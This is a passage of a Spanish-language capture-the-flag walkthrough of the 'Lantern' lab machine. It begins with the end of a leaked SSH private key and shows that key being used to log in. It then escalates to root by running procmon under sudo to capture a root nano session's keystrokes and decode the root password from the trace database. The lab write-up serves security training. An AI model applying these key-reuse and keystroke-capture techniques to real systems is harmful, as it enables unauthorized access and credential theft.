KKO/I1Gyok5t209Ogn9HJag80DpEK+fXvMOB9i2xdqobBL5qr0ZdKksWwC+Ak9+EaSpckj
olQy5/DQCKsBQerid4rWMqTQRJ4LuThULM3pykXS5ZTcnfxk05qAcEv7oIljje/X/yu/aA
7569eG+0IqbVOf6sxPIU1MLwbPD6WRq2qecSf5cBrVwMcbY4tUHEjZj9c18f1uqM1wP8jX
zXIeaAndF2ndQcl/0CihZj9dY2WXRjDwAAAMEAxZv9saLa9LSqx4AvLT2U/a4u8OIepMaN
x6DMDmRu3UY/rq13awL4YsXYF6h4c8V7rSPYAl+HRfnxzlLOK+ALU47n+qKDRcnI47e/Zv
Zry8Yy605aCCKTyQ6O5ppFt1iKkxmUo7glCnrNyvna6dj8qX9hy2qY+sUiUgsLbKz5e9tP
vpPttZZSNoWoBOkcAihJhIrs4GF5fj5t3gR2RA2qGlJ4C2R80Qbv2QAnroevpnoYKko/s9
2VfNjWIV4Eq/DnAAAADXRvbWFzQGxhbnRlcm4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

La guardamos en nuestra máquina de atacante, le damos permisos de ejecución y la usamos para conectarnos a través de SSH como el usuario thomas:

❯ chmod 600 tomas_id_rsa # save the key

❯ ssh -i tomas_id_rsa tomas@10.10.11.29

<SNIP>

You have mail.
Last login: Thu Aug 15 13:00:50 2024 from 10.10.14.46

tomas@lantern:~$

Podemos obtener la flag de usuario.


Root Link to heading

Cuando nos logueamos por SSH podemos ver el mensaje You have mail.. Podemos revisar este mail:

tomas@lantern:~$ cat /var/mail/tomas

From hr@lantern.htb Mon Jan 1 12:00:00 2023
Subject: Welcome to Lantern!

Hi Tomas,

Congratulations on joining the Lantern team as a Linux Engineer! We're thrilled to have you on board.

While we're setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you'll have all the access you need.

Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.

Exciting times ahead!

Best.

Habla acerca de un script llamado /root/automation.sh.

Pero no tenemos acceso a este archivo:

tomas@lantern:~$ ls -la /root/automation.sh

ls: cannot access '/root/automation.sh': Permission denied

Por lo que puede que esta pista nos sirva para más tarde.

Revisando qué es lo que puede correr este usuario con sudo tenemos algo:

tomas@lantern:~$ sudo -l

Matching Defaults entries for tomas on lantern:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tomas may run the following commands on lantern:
    (ALL : ALL) NOPASSWD: /usr/bin/procmon

Podemos ejecutar ProcMon.

Esta es una herramienta para Windows para registrar y monitorear eventos; de no ser por el detalle de que estamos en una máquina Linux. Buscando, sucede que sí existe un ProcMon para Linux el cual tiene similares utilidades. Es más, de su documentación de uso podemos ver que tenemos el mismo output:

tomas@lantern:~$ sudo /usr/bin/procmon -h

procmon [OPTIONS...]
   OPTIONS
      -h/--help                Prints this help screen
      -p/--pids                Comma separated list of process ids to monitor
      -e/--events              Comma separated list of system calls to monitor
      -c/--collect [FILEPATH]  Option to start Procmon in a headless mode
      -f/--file FILEPATH       Open a Procmon trace file

Pero levemente diferente (de manera que tiene que ser una versión algo más vieja).

Podemos revisar procesos siendo ejecutados por root en la máquina víctima:

tomas@lantern:~$ ps aux | grep root | grep "\.sh"

root        7272  0.0  0.1   7272  4212 pts/0    Ss+  08:00   0:00 nano /root/automation.sh

El script mencionado anteriormente está siendo ejecutado con nano.

Dado que podemos usar ProcMon con sudo podemos usarlo para inspeccionar lo que está ejecutando root utilizando el PID de este proceso (7272 en este caso):

tomas@lantern:~$ sudo /usr/bin/procmon -p 7272 -e write

In file included from <built-in>:2:
In file included from /virtual/include/bcc/bpf.h:12:
In file included from include/linux/types.h:6:
In file included from include/uapi/linux/types.h:14:
<SNIP>

Al ejecutarlo deberíamos de ver una ventana como:

Lantern 15

Espero algunos minutos y presiono F6 para guardar los logs y F9 para salir.

Una vez hecho aquello, tenemos un archivo .db en nuestro directorio actual cuyo dueño es root:

tomas@lantern:~$ ls -la

total 1232
drwxr-x--- 9 tomas tomas    4096 Nov 14 08:15 .
drwxr-xr-x 3 root  root     4096 Dec 24  2023 ..
<SNIP>
drwxrwxr-x 4 tomas tomas    4096 Dec 26  2023 .nuget
-rw-r--r-- 1 root  root  1212416 Nov 14 08:15 procmon_2024-11-14_08:11:17.db
-rw-r--r-- 1 tomas tomas     807 Jan  6  2022 .profile
<SNIP>

Es un archivo para SQLite:

tomas@lantern:~$ file procmon_2024-11-14_08\:11\:17.db

procmon_2024-11-14_08:11:17.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 4, database pages 296, cookie 0x4, schema 4, UTF-8, version-valid-for 4

Pasamos este archivo a nuestra máquina de atacante (usando scp, por ejemplo) y usamos SQLite para analizarla:

sqlite> .tables

ebpf      metadata  stats

Hay una columna llamada ebpf. Buscando qué es lo que es esto tenemos, encontramos:

Información
Extended Berkeley Packet Filter (eBPF) is a Linux kernel technology enabling engineers to build programs that run securely in kernel space. eBPF can be used to inspect, filter, and monitor network traffic.

Es decir, estos son los datos que pueden ser usados para monitorear tráfico.

Leyendo el contenido de esta tabla retorna:

sqlite> PRAGMA table_info(ebpf);

0|pid|INT|0||0
1|stacktrace|TEXT|0||0
2|comm|TEXT|0||0
3|processname|TEXT|0||0
4|resultcode|INTEGER|0||0
5|timestamp|INTEGER|0||0
6|syscall|TEXT|0||0
7|duration|INTEGER|0||0
8|arguments|BLOB|0||0

sqlite> select * from ebpf;

7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|6|25511746524120|write|16581|
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|25511746524120|write|34715|
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|25511746524120|write|73939|

La cosa yace en que la tabla tiene 9 columnas (de la 0 a la 8), pero sólo somos capaces de ver 9 columnas.

Podríamos tratar de escribir toda la data que existe (los cuales podrían ser blobs) en un archivo. Para ello ejecutamos:

sqlite> .output result.txt

sqlite> SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;

Program interrupted.

Donde hemos presionado Ctrl+C para salir de SQLite y escribir los datos en un archivo llamado result.txt. Este archivo tiene bastantes líneas y datos que son, aparentemente, ilegibles:

❯ wc -l result.txt

2651 result.txt

❯ head result.txt

1B5B3F32356C
1B5B3F323568
08
2051
20
1B5B3F32356C
1B5B3F323568
33
33
1B5B3F32356C

Esta última columna contiene datos en hexadecimal (algo bugeados, eso sí). Por lo que podemos tratar de visualizarlos utilizando nuestra terminal:

❯ cat result.txt | xxd -r -p | less -S

Q 33EEddddttddww33ppMMBB [?25 |[?25l [?25 s uuddoo [?25 . //bbaacckkuupp..sshh^M[?25l[4;37[?25l^Meecchh^Mecho[?25l [?25 Q 33EEddddttddww33ppMMBB [?25 |[?25l [?25 s uudd
<SNIP>

Está mostrando los datos siendo ejecutados en el script .sh por nano. Asumo que cada letra se encuentra duplicada en 33EEddddttddww33ppMMBB (por el string s uuddoo que duplica casi todas las letras de sudo).

Por tanto, tenemos 3Eddtdw3pMB. Revisamos si esta contraseña funciona para el usuario root:

tomas@lantern:~$ su root

Password:
su: Authentication failure

No funcionó. Ya que s uuddoo puede ser sudo, ¿quizás -y ya que tenemos una Q antes- la contraseña es Q3Eddtdw3pMB?

tomas@lantern:~$ su root

Password: Q3Eddtdw3pMB

root@lantern:/home/tomas# whoami

root

¡Funcionó! GG. Podemos leer la flag del usuario root en el directorio /root.

~Happy Hacking.